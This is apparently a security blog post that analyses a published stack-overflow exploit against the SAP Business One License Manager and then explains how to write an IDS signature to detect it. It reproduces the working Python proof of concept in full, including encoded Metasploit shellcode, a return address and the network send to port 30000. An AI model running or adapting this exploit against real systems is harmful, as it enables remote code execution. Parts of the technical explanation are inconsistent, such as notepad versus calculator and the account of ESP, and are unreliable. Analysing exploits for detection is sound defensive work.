WIKISECURE BLOGS

Buddies,
Today I will write a small analysis paper on milw0rm exploit#9319. Due to security reasons I can’t share all the in-depth technical information about this vulnerability but I will be giving an overall idea on how the exploit affects the remote application and how the attacker is taking advantage of this vulnerability through the shared milw0rm code. And at last we will be discussing on how to write a signature to detect this exploitation attempt over the network packets transmission.

According to milw0rm id# 9319 SAP Business One application is prone to a stack overflow vulnerability. Below is the exploit python code which is published in milw0rm. I have truncated the poc code to make the exploit code a bit shorter.

#!/usr/bin/python
import socket, time

header = (
"########################################################################\r\n"
"#    SAP Business One 2005-A License Manager remote overflow PoC    #\r\n"
"#           Tested on 2005-A (6.80.123) SP:00 PL:06                 #\r\n"
"#                 2005-A (6.80.320) SP:01 PL:34                 #\r\n"
"#              OS: Windows Server 2003 R2 Std/Ent Service Pack 2      #\r\n"
"#             Coded by Bruk0ut - mikey27 .::at::. hotmail.com       #\r\n"
"########################################################################\r\n")

#metasploit windows/exec - notepad.exe x86/shikata_ga_nai 152 bytes
shellcode = ("\xbf\xd6\x21\x7d\x3b\xda\xdb\xd9\x74\x24\xf4\x33\xc9\x5d\xb1"
"\x20\x31\x7d\x13\x83\xc5\x04\x03\x7d\xd9\xc3\x88\xc7\x0d\x47"
"\x73\x38\xcd\xc3\x36\x04\x46\xaf\xbd\x0c\x59\xbf\x35\xa3\x41"
"\xb4\x15\x1c\x70\x21\xe0\xd7\x46\x3e\xf2\x09\x97\x80\x6c\x79"
"\x53\xc0\xfb\x85\x9a\x0b\x0e\x8b\xde\x67\xe5\xb0\x8a\x53\x02"
"\xb2\xd7\x17\x55\x18\x16\xc3\x0c\xeb\x14\x58\x5a\xb4\x38\x5f"
"\xb7\xc0\x5c\xd4\x46\x3c\xd5\xb6\x6c\xc6\x26\x19\x5c\x30\xc8"
"\xf0\xfa\x37\x4e\xcd\x89\x08\x42\xa6\xfe\x94\xf7\x33\x96\xac"
"\x8e\xbc\xe4\x6d\xfa\x6c\x83\x9d\x70\x88\x0c\x36\x1c\x6f\x38"
"\xc8\x4b\x6f\xda\xbb\x1c\xfb\x40\x34\x83\x67\xa5\xd1\x3b\x0d"
"\xb9\x13")

#JMP ESP 0x773a73fb User32.dll - Server2k3 R2 STD/ENT - SP2
return_addr = '\xfb\x73\x3a\x77'
giop_header = '\x47\x49\x4f\x50\x01\x00\x01\x00'
buffer = giop_header + '\x2f\x5c' * 500 + "A" * 24 + return_addr + '\x90' * 44 + shellcode + '\x90' * 384

print (header)
sock_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_conn.connect (('192.168.1.2',30000))
sock_conn.setblocking(0)

sock_conn.send(buffer)
time.sleep(1)
print ("Payload sent")

sock_conn.close()

Analysis
As we can see that in the exploit code that first 2 modules are being imported i.e. socket and time module. Socket module is useful for performing socket operatins whether it may be tcp or udp or whatever. Then a variable header is been declared which holds some values. Its holds some author information and information about the testing environment in which the exploit was executed and tested for conformation. If you are into programming then these are the basic things that you must be knowing. Later on the attacker is making use of one of the Metasploit framework payload i.e. windows/exec which will invoke notepad.exe if the exploit exploits the vulnerable system successfully and shikata encoder (152 bytes) is being used from Metasploit framework library to encode the shellcode patterns. Encoders are basically used to launch the same exploit using different type of variants to avoid detection from AntiVirus or Firewall applications. Then the attacker has used the 4 bytes return address of ESP (Extended Stack Pointer) as user32.dll loads itself into this stack memory location (0×773a73fb). ESP is a 32 bit value containing the bottom(In Intel x86 Architecture) of stack address. If you want to know how these locations can be traced then I would suggest you to go through some Buffer Overflow articles which will clear your ambiguity on its usages and how to figure out the return address and all.  Then an 8 Bytes header value is declared which signifies the header for SAP license manager application which should be present basically in all the SAP License Manager generic communication methods. This is just a magic bytes header (it can be of 1/2/xx bytes also) inside the file formats. If the header value won’t be passed then the packet which will be sent to the License Manger application over TCP won’t consider it as a valid packet stream to accept and process. And finally the attacker is constructing its payload which will be delivered to the tcp port 30000 through the buffer variable. Payload is the final crafted data which you are inputting into the memory buffer to process and give output.

The buffer variable holds 8 Bytes of GIOP Header value + 500 times \x2f\x5c + 24 Bytes of A’s + ESP_Return_Address_Pointer + 44 Bytes of NOP Sleds + 152 Bytes of Shellcode data + 384 Bytes of NOP Sleds.
NOP(No Operation) Instruction Sleds are used to fill the buffer to do nothing. But if it comes to writing shellcodes, even 1 Byte of NOP Sled Instruction also matters a lot!!!

Now another variable is declared sock_conn which will define the standard of communication to be done with the socket the python program will create to send the data. The only thing to notice in the function argument is that the SOCK_STREAM method. As the mode of communication to the destination socket will be over TCP so SOCK_STREAM will be used or else if its UDP Data then DATAGRAM method will be used to send UDP packets. Later on connect function  takes the argument like this : socket_object.method (<Target_IP>, <Destination_Port >). Now while executing the script in command line if all the above conditions are satisfied then it will communicate over TCP Port 30000 and will send the malicious string to cause a remote stack overflow. If you have the application running then you can see the exception points by attaching the process in a debugger i.e. Immunity or OllyDbg.

Attack Detection
Now, we will discuss about what approach should be followed to detect such kind of attacks in any IDS/IPS Devices. You can follow the below structured approach to detect such type of exploitation attempts.
- Check for the 8 Bytes of GOIP Header: |47 49 4f 50 01 00 01 00|
NOTE: Checking for 4 Bytes of ESP Header won’t be recommended as in that case it will be specific to Operating Systems only. As ESP varies from OS to OS.
- Check for at least 10-20 Bytes of \x2f\x5c after the immediate relative offset as its not required to check for exact 500 bytes of \x2f\x5c. But you have to consider the distance while writing a signature or else your signature won’t be able to detect this attack.
- Then jump to next 490 Bytes (If you are checking \x2f\x5c 10 Times, so it will be 500 Bytes – 10 Bytes = 490 Bytes)
- Skip next 4 Bytes of return address.
NOTE: BTW, checking for Return address is not a felony but I hope you can understand why its not required.
- Then after relative offset, check for 15-20 bytes of NOP Sleds and further you can jump to the corresponding bytes where the NOP Sled pointer finishes.
- From the current pointer, skip 152 Bytes as I said, as here the attacker’s intention is not malicious to execute malicious codes. Here the attacker is executing windows/exec to invoke calculator application inside victim’s application context.
- Then check for some 20-30 Bytes of NOP Sleds and if the above conditions are satified then drop the established TCP Session through your Snort (If configured in Inline Mode) or through any IPS Device.
NOTE: Don’t forget to check the destination port value as 30000.

Always remember that, your signature will be grinded with a huge ton of traffic. So unless and untill you are sure that what is the vulnerability and what would be the right approach to detect this vulnerability then DO NOT attempt to drop those type of sessions as those might be legitimate sessions. If you are not fully confident then I would always suggest you to alert in the sensor through Log messages.

I hope the above explanation gave you a basic and simple ideas on how to analyze the vulnerability and how to write a good signature. There are so many kind of vulnerabilities for which you need a good expertise knowledge on writing a good signature. Lets say any signature related to File Formats, SMB, DCERPC vulnerabilities, if you are not sure what you are doing then you are denying hundred of users to make even a simple RPC Call to a running application or you are denying legitimate users even to send a SMB_COM_Negotiate request to the server or you are denying legitimate users to download even a normal document/presentation/excel file. Always make it a habit to check for extensive False positive testing and its always better to follow evasion techniques to test the integrity of your developed signature.

I hope you enjoyed the article.

Thanks,
XyluX